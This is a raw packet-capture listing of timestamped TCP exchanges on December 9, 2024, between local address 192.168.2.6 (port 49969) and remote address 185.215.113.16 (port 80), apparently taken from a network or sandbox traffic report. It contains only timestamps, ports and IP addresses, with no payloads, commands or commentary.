Dec 9, 2024 21:09:51.173302889 CET	80	49969	185.215.113.16	192.168.2.6
Dec 9, 2024 21:09:51.173342943 CET	49969	80	192.168.2.6	185.215.113.16
Dec 9, 2024 21:09:51.174330950 CET	80	49969	185.215.113.16	192.168.2.6
Dec 9, 2024 21:09:51.174432039 CET	49969	80	192.168.2.6	185.215.113.16
Dec 9, 2024 21:09:51.175132990 CET	80	49969	185.215.113.16	192.168.2.6
Dec 9, 2024 21:09:51.175185919 CET	49969	80	192.168.2.6	185.215.113.16
Dec 9, 2024 21:09:51.175400972 CET	80	49969	185.215.113.16	192.168.2.6
Dec 9, 2024 21:09:51.175503969 CET	49969	80	192.168.2.6	185.215.113.16
Dec 9, 2024 21:09:51.176529884 CET	80	49969	185.215.113.16	192.168.2.6
Dec 9, 2024 21:09:51.176542044 CET	80	49969	185.215.113.16	192.168.2.6
Dec 9, 2024 21:09:51.176553965 CET	80	49969	185.215.113.16	192.168.2.6
Dec 9, 2024 21:09:51.176582098 CET	49969	80	192.168.2.6	185.215.113.16
Dec 9, 2024 21:09:51.176610947 CET	49969	80	192.168.2.6	185.215.113.16
Dec 9, 2024 21:09:51.177583933 CET	80	49969	185.215.113.16	192.168.2.6
Dec 9, 2024 21:09:51.177618980 CET	49969	80	192.168.2.6	185.215.113.16
Dec 9, 2024 21:09:51.177684069 CET	80	49969	185.215.113.16	192.168.2.6
Dec 9, 2024 21:09:51.177719116 CET	49969	80	192.168.2.6	185.215.113.16
Dec 9, 2024 21:09:51.178888083 CET	80	49969	185.215.113.16	192.168.2.6
Dec 9, 2024 21:09:51.178925037 CET	49969	80	192.168.2.6	185.215.113.16
Dec 9, 2024 21:09:51.179642916 CET	80	49969	185.215.113.16	192.168.2.6
Dec 9, 2024 21:09:51.179682970 CET	49969	80	192.168.2.6	185.215.113.16
Dec 9, 2024 21:09:51.179801941 CET	80	49969	185.215.113.16	192.168.2.6
Dec 9, 2024 21:09:51.179817915 CET	80	49969	185.215.113.16	192.168.2.6
Dec 9, 2024 21:09:51.179837942 CET	49969	80	192.168.2.6	185.215.113.16
Dec 9, 2024 21:09:51.179853916 CET	49969	80	192.168.2.6	185.215.113.16
Dec 9, 2024 21:09:51.180902004 CET	80	49969	185.215.113.16	192.168.2.6
Dec 9, 2024 21:09:51.180984020 CET	49969	80	192.168.2.6	185.215.113.16
Dec 9, 2024 21:09:51.181545019 CET	80	49969	185.215.113.16	192.168.2.6
Dec 9, 2024 21:09:51.181581020 CET	49969	80	192.168.2.6	185.215.113.16
Dec 9, 2024 21:09:51.182049036 CET	80	49969	185.215.113.16	192.168.2.6
Dec 9, 2024 21:09:51.182085991 CET	49969	80	192.168.2.6	185.215.113.16
Dec 9, 2024 21:09:51.183048010 CET	80	49969	185.215.113.16	192.168.2.6
Dec 9, 2024 21:09:51.183059931 CET	80	49969	185.215.113.16	192.168.2.6
Dec 9, 2024 21:09:51.183078051 CET	80	49969	185.215.113.16	192.168.2.6
Dec 9, 2024 21:09:51.183101892 CET	49969	80	192.168.2.6	185.215.113.16
Dec 9, 2024 21:09:51.183135033 CET	49969	80	192.168.2.6	185.215.113.16
Dec 9, 2024 21:09:51.184215069 CET	80	49969	185.215.113.16	192.168.2.6
Dec 9, 2024 21:09:51.184258938 CET	49969	80	192.168.2.6	185.215.113.16
Dec 9, 2024 21:09:51.184690952 CET	80	49969	185.215.113.16	192.168.2.6
Dec 9, 2024 21:09:51.184730053 CET	49969	80	192.168.2.6	185.215.113.16
Dec 9, 2024 21:09:51.185314894 CET	80	49969	185.215.113.16	192.168.2.6
Dec 9, 2024 21:09:51.185327053 CET	80	49969	185.215.113.16	192.168.2.6
Dec 9, 2024 21:09:51.185353994 CET	49969	80	192.168.2.6	185.215.113.16
Dec 9, 2024 21:09:51.185370922 CET	49969	80	192.168.2.6	185.215.113.16
Dec 9, 2024 21:09:51.186249018 CET	80	49969	185.215.113.16	192.168.2.6
Dec 9, 2024 21:09:51.186290026 CET	49969	80	192.168.2.6	185.215.113.16
Dec 9, 2024 21:09:51.186681032 CET	80	49969	185.215.113.16	192.168.2.6
Dec 9, 2024 21:09:51.186718941 CET	49969	80	192.168.2.6	185.215.113.16
Dec 9, 2024 21:09:51.187490940 CET	80	49969	185.215.113.16	192.168.2.6
Dec 9, 2024 21:09:51.187525988 CET	49969	80	192.168.2.6	185.215.113.16
Dec 9, 2024 21:09:51.187815905 CET	80	49969	185.215.113.16	192.168.2.6
Dec 9, 2024 21:09:51.187851906 CET	49969	80	192.168.2.6	185.215.113.16
Dec 9, 2024 21:09:51.188435078 CET	80	49969	185.215.113.16	192.168.2.6
Dec 9, 2024 21:09:51.188446999 CET	80	49969	185.215.113.16	192.168.2.6
Dec 9, 2024 21:09:51.188471079 CET	49969	80	192.168.2.6	185.215.113.16
Dec 9, 2024 21:09:51.188493013 CET	49969	80	192.168.2.6	185.215.113.16
Dec 9, 2024 21:09:51.189755917 CET	80	49969	185.215.113.16	192.168.2.6
Dec 9, 2024 21:09:51.189791918 CET	49969	80	192.168.2.6	185.215.113.16
Dec 9, 2024 21:09:51.190135002 CET	80	49969	185.215.113.16	192.168.2.6
Dec 9, 2024 21:09:51.190191984 CET	49969	80	192.168.2.6	185.215.113.16
Dec 9, 2024 21:09:51.190632105 CET	80	49969	185.215.113.16	192.168.2.6
Dec 9, 2024 21:09:51.190643072 CET	80	49969	185.215.113.16	192.168.2.6
Dec 9, 2024 21:09:51.190674067 CET	49969	80	192.168.2.6	185.215.113.16
Dec 9, 2024 21:09:51.190682888 CET	49969	80	192.168.2.6	185.215.113.16
Dec 9, 2024 21:09:51.191656113 CET	80	49969	185.215.113.16	192.168.2.6
Dec 9, 2024 21:09:51.191696882 CET	49969	80	192.168.2.6	185.215.113.16
Dec 9, 2024 21:09:51.191777945 CET	80	49969	185.215.113.16	192.168.2.6
Dec 9, 2024 21:09:51.191875935 CET	49969	80	192.168.2.6	185.215.113.16
Dec 9, 2024 21:09:51.192981958 CET	80	49969	185.215.113.16	192.168.2.6
Dec 9, 2024 21:09:51.193025112 CET	49969	80	192.168.2.6	185.215.113.16
Dec 9, 2024 21:09:51.193208933 CET	80	49969	185.215.113.16	192.168.2.6
Dec 9, 2024 21:09:51.193248034 CET	49969	80	192.168.2.6	185.215.113.16
Dec 9, 2024 21:09:51.193783045 CET	80	49969	185.215.113.16	192.168.2.6
Dec 9, 2024 21:09:51.193821907 CET	49969	80	192.168.2.6	185.215.113.16
Dec 9, 2024 21:09:51.194035053 CET	80	49969	185.215.113.16	192.168.2.6
Dec 9, 2024 21:09:51.194283962 CET	49969	80	192.168.2.6	185.215.113.16
Dec 9, 2024 21:09:51.194936991 CET	80	49969	185.215.113.16	192.168.2.6
Dec 9, 2024 21:09:51.194977999 CET	49969	80	192.168.2.6	185.215.113.16
Dec 9, 2024 21:09:51.195581913 CET	80	49969	185.215.113.16	192.168.2.6
Dec 9, 2024 21:09:51.195689917 CET	49969	80	192.168.2.6	185.215.113.16
Dec 9, 2024 21:09:51.195899010 CET	80	49969	185.215.113.16	192.168.2.6
Dec 9, 2024 21:09:51.195933104 CET	49969	80	192.168.2.6	185.215.113.16
Dec 9, 2024 21:09:51.196546078 CET	80	49969	185.215.113.16	192.168.2.6
Dec 9, 2024 21:09:51.196660995 CET	49969	80	192.168.2.6	185.215.113.16
Dec 9, 2024 21:09:51.197026014 CET	80	49969	185.215.113.16	192.168.2.6
Dec 9, 2024 21:09:51.197062016 CET	49969	80	192.168.2.6	185.215.113.16
Dec 9, 2024 21:09:51.198088884 CET	80	49969	185.215.113.16	192.168.2.6
Dec 9, 2024 21:09:51.198107958 CET	80	49969	185.215.113.16	192.168.2.6
Dec 9, 2024 21:09:51.198118925 CET	80	49969	185.215.113.16	192.168.2.6
Dec 9, 2024 21:09:51.198148966 CET	49969	80	192.168.2.6	185.215.113.16
Dec 9, 2024 21:09:51.198182106 CET	49969	80	192.168.2.6	185.215.113.16
Dec 9, 2024 21:09:51.199270010 CET	80	49969	185.215.113.16	192.168.2.6
Dec 9, 2024 21:09:51.199306965 CET	49969	80	192.168.2.6	185.215.113.16
Dec 9, 2024 21:09:51.199487925 CET	80	49969	185.215.113.16	192.168.2.6
Dec 9, 2024 21:09:51.199651957 CET	49969	80	192.168.2.6	185.215.113.16
Dec 9, 2024 21:09:51.200303078 CET	80	49969	185.215.113.16	192.168.2.6
Dec 9, 2024 21:09:51.200364113 CET	49969	80	192.168.2.6	185.215.113.16
Dec 9, 2024 21:09:51.200448036 CET	80	49969	185.215.113.16	192.168.2.6
Dec 9, 2024 21:09:51.200495005 CET	49969	80	192.168.2.6	185.215.113.16
Dec 9, 2024 21:09:51.201535940 CET	80	49969	185.215.113.16	192.168.2.6
Dec 9, 2024 21:09:51.201579094 CET	49969	80	192.168.2.6	185.215.113.16
Dec 9, 2024 21:09:51.202271938 CET	80	49969	185.215.113.16	192.168.2.6
Dec 9, 2024 21:09:51.202317953 CET	49969	80	192.168.2.6	185.215.113.16
Dec 9, 2024 21:09:51.202507019 CET	80	49969	185.215.113.16	192.168.2.6
Dec 9, 2024 21:09:51.202590942 CET	49969	80	192.168.2.6	185.215.113.16
Dec 9, 2024 21:09:51.203239918 CET	80	49969	185.215.113.16	192.168.2.6
Dec 9, 2024 21:09:51.203285933 CET	49969	80	192.168.2.6	185.215.113.16
Dec 9, 2024 21:09:51.203551054 CET	80	49969	185.215.113.16	192.168.2.6
Dec 9, 2024 21:09:51.203592062 CET	49969	80	192.168.2.6	185.215.113.16
Dec 9, 2024 21:09:51.203883886 CET	80	49969	185.215.113.16	192.168.2.6
Dec 9, 2024 21:09:51.203922987 CET	49969	80	192.168.2.6	185.215.113.16
Dec 9, 2024 21:09:51.204679012 CET	80	49969	185.215.113.16	192.168.2.6
Dec 9, 2024 21:09:51.204719067 CET	49969	80	192.168.2.6	185.215.113.16
Dec 9, 2024 21:09:51.204910040 CET	80	49969	185.215.113.16	192.168.2.6
Dec 9, 2024 21:09:51.205075979 CET	49969	80	192.168.2.6	185.215.113.16
Dec 9, 2024 21:09:51.205787897 CET	80	49969	185.215.113.16	192.168.2.6
Dec 9, 2024 21:09:51.205843925 CET	49969	80	192.168.2.6	185.215.113.16
Dec 9, 2024 21:09:51.205952883 CET	80	49969	185.215.113.16	192.168.2.6
Dec 9, 2024 21:09:51.205986023 CET	49969	80	192.168.2.6	185.215.113.16
Dec 9, 2024 21:09:51.206789970 CET	80	49969	185.215.113.16	192.168.2.6
Dec 9, 2024 21:09:51.206828117 CET	49969	80	192.168.2.6	185.215.113.16
Dec 9, 2024 21:09:51.206964016 CET	80	49969	185.215.113.16	192.168.2.6
Dec 9, 2024 21:09:51.207027912 CET	49969	80	192.168.2.6	185.215.113.16
Dec 9, 2024 21:09:51.207815886 CET	80	49969	185.215.113.16	192.168.2.6
Dec 9, 2024 21:09:51.207897902 CET	49969	80	192.168.2.6	185.215.113.16
Dec 9, 2024 21:09:51.208167076 CET	80	49969	185.215.113.16	192.168.2.6
Dec 9, 2024 21:09:51.208203077 CET	49969	80	192.168.2.6	185.215.113.16
Dec 9, 2024 21:09:51.208930969 CET	80	49969	185.215.113.16	192.168.2.6
Dec 9, 2024 21:09:51.208971977 CET	49969	80	192.168.2.6	185.215.113.16
Dec 9, 2024 21:09:51.209239006 CET	80	49969	185.215.113.16	192.168.2.6
Dec 9, 2024 21:09:51.209278107 CET	49969	80	192.168.2.6	185.215.113.16
Dec 9, 2024 21:09:51.210001945 CET	80	49969	185.215.113.16	192.168.2.6
Dec 9, 2024 21:09:51.210045099 CET	49969	80	192.168.2.6	185.215.113.16
Dec 9, 2024 21:09:51.210098982 CET	80	49969	185.215.113.16	192.168.2.6
Dec 9, 2024 21:09:51.210139990 CET	49969	80	192.168.2.6	185.215.113.16
Dec 9, 2024 21:09:51.211076975 CET	80	49969	185.215.113.16	192.168.2.6
Dec 9, 2024 21:09:51.211119890 CET	49969	80	192.168.2.6	185.215.113.16
Dec 9, 2024 21:09:51.211229086 CET	80	49969	185.215.113.16	192.168.2.6
Dec 9, 2024 21:09:51.211261988 CET	49969	80	192.168.2.6	185.215.113.16
Dec 9, 2024 21:09:51.212089062 CET	80	49969	185.215.113.16	192.168.2.6
Dec 9, 2024 21:09:51.212158918 CET	49969	80	192.168.2.6	185.215.113.16
Dec 9, 2024 21:09:51.347278118 CET	80	49969	185.215.113.16	192.168.2.6
Dec 9, 2024 21:09:51.347310066 CET	80	49969	185.215.113.16	192.168.2.6
Dec 9, 2024 21:09:51.347333908 CET	49969	80	192.168.2.6	185.215.113.16
Dec 9, 2024 21:09:51.347368956 CET	49969	80	192.168.2.6	185.215.113.16
Dec 9, 2024 21:09:51.347711086 CET	80	49969	185.215.113.16	192.168.2.6
Dec 9, 2024 21:09:51.347757101 CET	49969	80	192.168.2.6	185.215.113.16
Dec 9, 2024 21:09:51.347917080 CET	80	49969	185.215.113.16	192.168.2.6
Dec 9, 2024 21:09:51.347959042 CET	49969	80	192.168.2.6	185.215.113.16
Dec 9, 2024 21:09:51.348810911 CET	80	49969	185.215.113.16	192.168.2.6
Dec 9, 2024 21:09:51.348871946 CET	49969	80	192.168.2.6	185.215.113.16
Dec 9, 2024 21:09:51.348874092 CET	80	49969	185.215.113.16	192.168.2.6
Dec 9, 2024 21:09:51.348911047 CET	49969	80	192.168.2.6	185.215.113.16
Dec 9, 2024 21:09:51.349862099 CET	80	49969	185.215.113.16	192.168.2.6
Dec 9, 2024 21:09:51.349968910 CET	49969	80	192.168.2.6	185.215.113.16
Dec 9, 2024 21:09:51.349997997 CET	80	49969	185.215.113.16	192.168.2.6
Dec 9, 2024 21:09:51.350039005 CET	49969	80	192.168.2.6	185.215.113.16
Dec 9, 2024 21:09:51.350991011 CET	80	49969	185.215.113.16	192.168.2.6
Dec 9, 2024 21:09:51.351058960 CET	49969	80	192.168.2.6	185.215.113.16
Dec 9, 2024 21:09:51.351372004 CET	80	49969	185.215.113.16	192.168.2.6
Dec 9, 2024 21:09:51.351511955 CET	49969	80	192.168.2.6	185.215.113.16
Dec 9, 2024 21:09:51.352054119 CET	80	49969	185.215.113.16	192.168.2.6
Dec 9, 2024 21:09:51.352092028 CET	49969	80	192.168.2.6	185.215.113.16
Dec 9, 2024 21:09:51.352441072 CET	80	49969	185.215.113.16	192.168.2.6
Dec 9, 2024 21:09:51.352601051 CET	49969	80	192.168.2.6	185.215.113.16
Dec 9, 2024 21:09:51.353094101 CET	80	49969	185.215.113.16	192.168.2.6
Dec 9, 2024 21:09:51.353225946 CET	49969	80	192.168.2.6	185.215.113.16
Dec 9, 2024 21:09:51.353307009 CET	80	49969	185.215.113.16	192.168.2.6
Dec 9, 2024 21:09:51.353351116 CET	49969	80	192.168.2.6	185.215.113.16
Dec 9, 2024 21:09:51.354226112 CET	80	49969	185.215.113.16	192.168.2.6
Dec 9, 2024 21:09:51.354283094 CET	49969	80	192.168.2.6	185.215.113.16
Dec 9, 2024 21:09:51.354404926 CET	80	49969	185.215.113.16	192.168.2.6
Dec 9, 2024 21:09:51.354511023 CET	49969	80	192.168.2.6	185.215.113.16
Dec 9, 2024 21:09:51.355334044 CET	80	49969	185.215.113.16	192.168.2.6
Dec 9, 2024 21:09:51.355375051 CET	49969	80	192.168.2.6	185.215.113.16
Dec 9, 2024 21:09:51.355664015 CET	80	49969	185.215.113.16	192.168.2.6
Dec 9, 2024 21:09:51.355715036 CET	49969	80	192.168.2.6	185.215.113.16
Dec 9, 2024 21:09:51.356359005 CET	80	49969	185.215.113.16	192.168.2.6
Dec 9, 2024 21:09:51.356400013 CET	49969	80	192.168.2.6	185.215.113.16
Dec 9, 2024 21:09:51.356658936 CET	80	49969	185.215.113.16	192.168.2.6
Dec 9, 2024 21:09:51.356707096 CET	49969	80	192.168.2.6	185.215.113.16
Dec 9, 2024 21:09:51.357459068 CET	80	49969	185.215.113.16	192.168.2.6
Dec 9, 2024 21:09:51.357508898 CET	49969	80	192.168.2.6	185.215.113.16
Dec 9, 2024 21:09:51.357928991 CET	80	49969	185.215.113.16	192.168.2.6
Dec 9, 2024 21:09:51.357986927 CET	49969	80	192.168.2.6	185.215.113.16
Dec 9, 2024 21:09:51.358510017 CET	80	49969	185.215.113.16	192.168.2.6
Dec 9, 2024 21:09:51.358558893 CET	49969	80	192.168.2.6	185.215.113.16
Dec 9, 2024 21:09:51.358851910 CET	80	49969	185.215.113.16	192.168.2.6
Dec 9, 2024 21:09:51.358891010 CET	49969	80	192.168.2.6	185.215.113.16
Dec 9, 2024 21:09:51.360003948 CET	80	49969	185.215.113.16	192.168.2.6
Dec 9, 2024 21:09:51.360168934 CET	80	49969	185.215.113.16	192.168.2.6
Dec 9, 2024 21:09:51.360209942 CET	49969	80	192.168.2.6	185.215.113.16
Dec 9, 2024 21:09:51.360704899 CET	80	49969	185.215.113.16	192.168.2.6
Dec 9, 2024 21:09:51.361007929 CET	49969	80	192.168.2.6	185.215.113.16
Dec 9, 2024 21:09:51.361684084 CET	80	49969	185.215.113.16	192.168.2.6
Dec 9, 2024 21:09:51.361728907 CET	49969	80	192.168.2.6	185.215.113.16
Dec 9, 2024 21:09:51.361848116 CET	80	49969	185.215.113.16	192.168.2.6
Dec 9, 2024 21:09:51.361958027 CET	80	49969	185.215.113.16	192.168.2.6
Dec 9, 2024 21:09:51.361996889 CET	49969	80	192.168.2.6	185.215.113.16
Dec 9, 2024 21:09:51.362924099 CET	80	49969	185.215.113.16	192.168.2.6
Dec 9, 2024 21:09:51.363013983 CET	49969	80	192.168.2.6	185.215.113.16
Dec 9, 2024 21:09:51.363070965 CET	80	49969	185.215.113.16	192.168.2.6
Dec 9, 2024 21:09:51.363112926 CET	49969	80	192.168.2.6	185.215.113.16
Dec 9, 2024 21:09:51.364032030 CET	80	49969	185.215.113.16	192.168.2.6
Dec 9, 2024 21:09:51.364073038 CET	49969	80	192.168.2.6	185.215.113.16
Dec 9, 2024 21:09:51.364339113 CET	80	49969	185.215.113.16	192.168.2.6
Dec 9, 2024 21:09:51.364377975 CET	49969	80	192.168.2.6	185.215.113.16
Dec 9, 2024 21:09:51.365048885 CET	80	49969	185.215.113.16	192.168.2.6
Dec 9, 2024 21:09:51.365098000 CET	49969	80	192.168.2.6	185.215.113.16
Dec 9, 2024 21:09:51.365221024 CET	80	49969	185.215.113.16	192.168.2.6
Dec 9, 2024 21:09:51.365256071 CET	49969	80	192.168.2.6	185.215.113.16
Dec 9, 2024 21:09:51.366142988 CET	80	49969	185.215.113.16	192.168.2.6
Dec 9, 2024 21:09:51.366157055 CET	80	49969	185.215.113.16	192.168.2.6
Dec 9, 2024 21:09:51.366183043 CET	49969	80	192.168.2.6	185.215.113.16
Dec 9, 2024 21:09:51.366205931 CET	49969	80	192.168.2.6	185.215.113.16
Dec 9, 2024 21:09:51.367247105 CET	80	49969	185.215.113.16	192.168.2.6
Dec 9, 2024 21:09:51.367302895 CET	49969	80	192.168.2.6	185.215.113.16
Dec 9, 2024 21:09:51.367397070 CET	80	49969	185.215.113.16	192.168.2.6
Dec 9, 2024 21:09:51.367429018 CET	49969	80	192.168.2.6	185.215.113.16
Dec 9, 2024 21:09:51.368324995 CET	80	49969	185.215.113.16	192.168.2.6
Dec 9, 2024 21:09:51.368381023 CET	49969	80	192.168.2.6	185.215.113.16
Dec 9, 2024 21:09:51.368623972 CET	80	49969	185.215.113.16	192.168.2.6
Dec 9, 2024 21:09:51.368662119 CET	49969	80	192.168.2.6	185.215.113.16
Dec 9, 2024 21:09:51.369365931 CET	80	49969	185.215.113.16	192.168.2.6
Dec 9, 2024 21:09:51.369467020 CET	49969	80	192.168.2.6	185.215.113.16
Dec 9, 2024 21:09:51.370013952 CET	80	49969	185.215.113.16	192.168.2.6
Dec 9, 2024 21:09:51.370063066 CET	49969	80	192.168.2.6	185.215.113.16
Dec 9, 2024 21:09:51.370400906 CET	80	49969	185.215.113.16	192.168.2.6
Dec 9, 2024 21:09:51.370479107 CET	80	49969	185.215.113.16	192.168.2.6
Dec 9, 2024 21:09:51.370515108 CET	49969	80	192.168.2.6	185.215.113.16
Dec 9, 2024 21:09:51.371536970 CET	80	49969	185.215.113.16	192.168.2.6
Dec 9, 2024 21:09:51.371598959 CET	49969	80	192.168.2.6	185.215.113.16
Dec 9, 2024 21:09:51.372221947 CET	80	49969	185.215.113.16	192.168.2.6
Dec 9, 2024 21:09:51.372281075 CET	49969	80	192.168.2.6	185.215.113.16
Dec 9, 2024 21:09:51.372590065 CET	80	49969	185.215.113.16	192.168.2.6
Dec 9, 2024 21:09:51.372626066 CET	49969	80	192.168.2.6	185.215.113.16
Dec 9, 2024 21:09:51.373249054 CET	80	49969	185.215.113.16	192.168.2.6
Dec 9, 2024 21:09:51.373303890 CET	49969	80	192.168.2.6	185.215.113.16
Dec 9, 2024 21:09:51.373699903 CET	80	49969	185.215.113.16	192.168.2.6
Dec 9, 2024 21:09:51.373713970 CET	80	49969	185.215.113.16	192.168.2.6
Dec 9, 2024 21:09:51.373738050 CET	49969	80	192.168.2.6	185.215.113.16
Dec 9, 2024 21:09:51.373764038 CET	49969	80	192.168.2.6	185.215.113.16
Dec 9, 2024 21:09:51.375011921 CET	80	49969	185.215.113.16	192.168.2.6
Dec 9, 2024 21:09:51.375066042 CET	49969	80	192.168.2.6	185.215.113.16
Dec 9, 2024 21:09:51.375241995 CET	80	49969	185.215.113.16	192.168.2.6
Dec 9, 2024 21:09:51.375281096 CET	49969	80	192.168.2.6	185.215.113.16
Dec 9, 2024 21:09:51.375828028 CET	80	49969	185.215.113.16	192.168.2.6
Dec 9, 2024 21:09:51.375884056 CET	49969	80	192.168.2.6	185.215.113.16
Dec 9, 2024 21:09:51.376390934 CET	80	49969	185.215.113.16	192.168.2.6
Dec 9, 2024 21:09:51.376435041 CET	49969	80	192.168.2.6	185.215.113.16
Dec 9, 2024 21:09:51.376971006 CET	80	49969	185.215.113.16	192.168.2.6
Dec 9, 2024 21:09:51.377048016 CET	49969	80	192.168.2.6	185.215.113.16
Dec 9, 2024 21:09:51.377204895 CET	80	49969	185.215.113.16	192.168.2.6
Dec 9, 2024 21:09:51.377249002 CET	49969	80	192.168.2.6	185.215.113.16
Dec 9, 2024 21:09:51.378118992 CET	80	49969	185.215.113.16	192.168.2.6
Dec 9, 2024 21:09:51.378166914 CET	49969	80	192.168.2.6	185.215.113.16
Dec 9, 2024 21:09:51.378247023 CET	80	49969	185.215.113.16	192.168.2.6
Dec 9, 2024 21:09:51.378284931 CET	49969	80	192.168.2.6	185.215.113.16
Dec 9, 2024 21:09:51.379152060 CET	80	49969	185.215.113.16	192.168.2.6
Dec 9, 2024 21:09:51.379196882 CET	49969	80	192.168.2.6	185.215.113.16
Dec 9, 2024 21:09:51.379686117 CET	80	49969	185.215.113.16	192.168.2.6
Dec 9, 2024 21:09:51.379738092 CET	49969	80	192.168.2.6	185.215.113.16
Dec 9, 2024 21:09:51.380429029 CET	80	49969	185.215.113.16	192.168.2.6
Dec 9, 2024 21:09:51.380482912 CET	49969	80	192.168.2.6	185.215.113.16
Dec 9, 2024 21:09:51.380642891 CET	80	49969	185.215.113.16	192.168.2.6
Dec 9, 2024 21:09:51.380683899 CET	49969	80	192.168.2.6	185.215.113.16
Dec 9, 2024 21:09:51.381288052 CET	80	49969	185.215.113.16	192.168.2.6
Dec 9, 2024 21:09:51.381347895 CET	49969	80	192.168.2.6	185.215.113.16
Dec 9, 2024 21:09:51.381542921 CET	80	49969	185.215.113.16	192.168.2.6
Dec 9, 2024 21:09:51.381582975 CET	49969	80	192.168.2.6	185.215.113.16
Dec 9, 2024 21:09:51.382400990 CET	80	49969	185.215.113.16	192.168.2.6
Dec 9, 2024 21:09:51.382442951 CET	49969	80	192.168.2.6	185.215.113.16
Dec 9, 2024 21:09:51.383146048 CET	80	49969	185.215.113.16	192.168.2.6
Dec 9, 2024 21:09:51.383249998 CET	49969	80	192.168.2.6	185.215.113.16
Dec 9, 2024 21:09:51.383591890 CET	80	49969	185.215.113.16	192.168.2.6
Dec 9, 2024 21:09:51.383640051 CET	49969	80	192.168.2.6	185.215.113.16
Dec 9, 2024 21:09:51.383877039 CET	80	49969	185.215.113.16	192.168.2.6
Dec 9, 2024 21:09:51.383963108 CET	49969	80	192.168.2.6	185.215.113.16
Dec 9, 2024 21:09:51.384530067 CET	80	49969	185.215.113.16	192.168.2.6
Dec 9, 2024 21:09:51.384587049 CET	49969	80	192.168.2.6	185.215.113.16
Dec 9, 2024 21:09:51.384776115 CET	80	49969	185.215.113.16	192.168.2.6
Dec 9, 2024 21:09:51.384821892 CET	49969	80	192.168.2.6	185.215.113.16
Dec 9, 2024 21:09:51.385591984 CET	80	49969	185.215.113.16	192.168.2.6
Dec 9, 2024 21:09:51.385648012 CET	49969	80	192.168.2.6	185.215.113.16
Dec 9, 2024 21:09:51.385790110 CET	80	49969	185.215.113.16	192.168.2.6
Dec 9, 2024 21:09:51.386581898 CET	49969	80	192.168.2.6	185.215.113.16
Dec 9, 2024 21:09:51.386687040 CET	80	49969	185.215.113.16	192.168.2.6
Dec 9, 2024 21:09:51.386781931 CET	49969	80	192.168.2.6	185.215.113.16
Dec 9, 2024 21:09:51.386951923 CET	80	49969	185.215.113.16	192.168.2.6
Dec 9, 2024 21:09:51.387459993 CET	49969	80	192.168.2.6	185.215.113.16
Dec 9, 2024 21:09:51.387926102 CET	80	49969	185.215.113.16	192.168.2.6
Dec 9, 2024 21:09:51.388070107 CET	49969	80	192.168.2.6	185.215.113.16
Dec 9, 2024 21:09:51.388108969 CET	80	49969	185.215.113.16	192.168.2.6
Dec 9, 2024 21:09:51.388247967 CET	49969	80	192.168.2.6	185.215.113.16
Dec 9, 2024 21:09:51.388876915 CET	80	49969	185.215.113.16	192.168.2.6
Dec 9, 2024 21:09:51.388984919 CET	49969	80	192.168.2.6	185.215.113.16
Dec 9, 2024 21:09:51.389190912 CET	80	49969	185.215.113.16	192.168.2.6
Dec 9, 2024 21:09:51.389239073 CET	49969	80	192.168.2.6	185.215.113.16
Dec 9, 2024 21:09:51.389919996 CET	80	49969	185.215.113.16	192.168.2.6
Dec 9, 2024 21:09:51.389986038 CET	80	49969	185.215.113.16	192.168.2.6
Dec 9, 2024 21:09:51.389990091 CET	49969	80	192.168.2.6	185.215.113.16
Dec 9, 2024 21:09:51.390019894 CET	49969	80	192.168.2.6	185.215.113.16
Dec 9, 2024 21:09:51.391201019 CET	80	49969	185.215.113.16	192.168.2.6
Dec 9, 2024 21:09:51.391258001 CET	49969	80	192.168.2.6	185.215.113.16
Dec 9, 2024 21:09:51.391362906 CET	80	49969	185.215.113.16	192.168.2.6
Dec 9, 2024 21:09:51.391602993 CET	49969	80	192.168.2.6	185.215.113.16
Dec 9, 2024 21:09:51.392108917 CET	80	49969	185.215.113.16	192.168.2.6
Dec 9, 2024 21:09:51.392121077 CET	80	49969	185.215.113.16	192.168.2.6
Dec 9, 2024 21:09:51.392147064 CET	49969	80	192.168.2.6	185.215.113.16
Dec 9, 2024 21:09:51.392162085 CET	49969	80	192.168.2.6	185.215.113.16
Dec 9, 2024 21:09:51.393178940 CET	80	49969	185.215.113.16	192.168.2.6
Dec 9, 2024 21:09:51.393219948 CET	49969	80	192.168.2.6	185.215.113.16
Dec 9, 2024 21:09:51.393924952 CET	80	49969	185.215.113.16	192.168.2.6
Dec 9, 2024 21:09:51.394248009 CET	80	49969	185.215.113.16	192.168.2.6
Dec 9, 2024 21:09:51.394289970 CET	80	49969	185.215.113.16	192.168.2.6
Dec 9, 2024 21:09:51.394290924 CET	49969	80	192.168.2.6	185.215.113.16
Dec 9, 2024 21:09:51.394324064 CET	49969	80	192.168.2.6	185.215.113.16
Dec 9, 2024 21:09:51.395324945 CET	80	49969	185.215.113.16	192.168.2.6
Dec 9, 2024 21:09:51.395368099 CET	49969	80	192.168.2.6	185.215.113.16
Dec 9, 2024 21:09:51.395531893 CET	80	49969	185.215.113.16	192.168.2.6
Dec 9, 2024 21:09:51.395580053 CET	49969	80	192.168.2.6	185.215.113.16
Dec 9, 2024 21:09:51.396544933 CET	80	49969	185.215.113.16	192.168.2.6
Dec 9, 2024 21:09:51.396588087 CET	49969	80	192.168.2.6	185.215.113.16
Dec 9, 2024 21:09:51.396642923 CET	80	49969	185.215.113.16	192.168.2.6
Dec 9, 2024 21:09:51.396677017 CET	49969	80	192.168.2.6	185.215.113.16
Dec 9, 2024 21:09:51.397517920 CET	80	49969	185.215.113.16	192.168.2.6
Dec 9, 2024 21:09:51.397557020 CET	49969	80	192.168.2.6	185.215.113.16
Dec 9, 2024 21:09:51.397629023 CET	80	49969	185.215.113.16	192.168.2.6
Dec 9, 2024 21:09:51.397738934 CET	49969	80	192.168.2.6	185.215.113.16
Dec 9, 2024 21:09:51.398602962 CET	80	49969	185.215.113.16	192.168.2.6
Dec 9, 2024 21:09:51.398647070 CET	80	49969	185.215.113.16	192.168.2.6
Dec 9, 2024 21:09:51.398647070 CET	49969	80	192.168.2.6	185.215.113.16
Dec 9, 2024 21:09:51.398682117 CET	49969	80	192.168.2.6	185.215.113.16
Dec 9, 2024 21:09:51.399683952 CET	80	49969	185.215.113.16	192.168.2.6
Dec 9, 2024 21:09:51.399727106 CET	49969	80	192.168.2.6	185.215.113.16
Dec 9, 2024 21:09:51.400465965 CET	80	49969	185.215.113.16	192.168.2.6
Dec 9, 2024 21:09:51.400510073 CET	49969	80	192.168.2.6	185.215.113.16
Dec 9, 2024 21:09:51.400742054 CET	80	49969	185.215.113.16	192.168.2.6
Dec 9, 2024 21:09:51.400753975 CET	80	49969	185.215.113.16	192.168.2.6
Dec 9, 2024 21:09:51.400779009 CET	49969	80	192.168.2.6	185.215.113.16
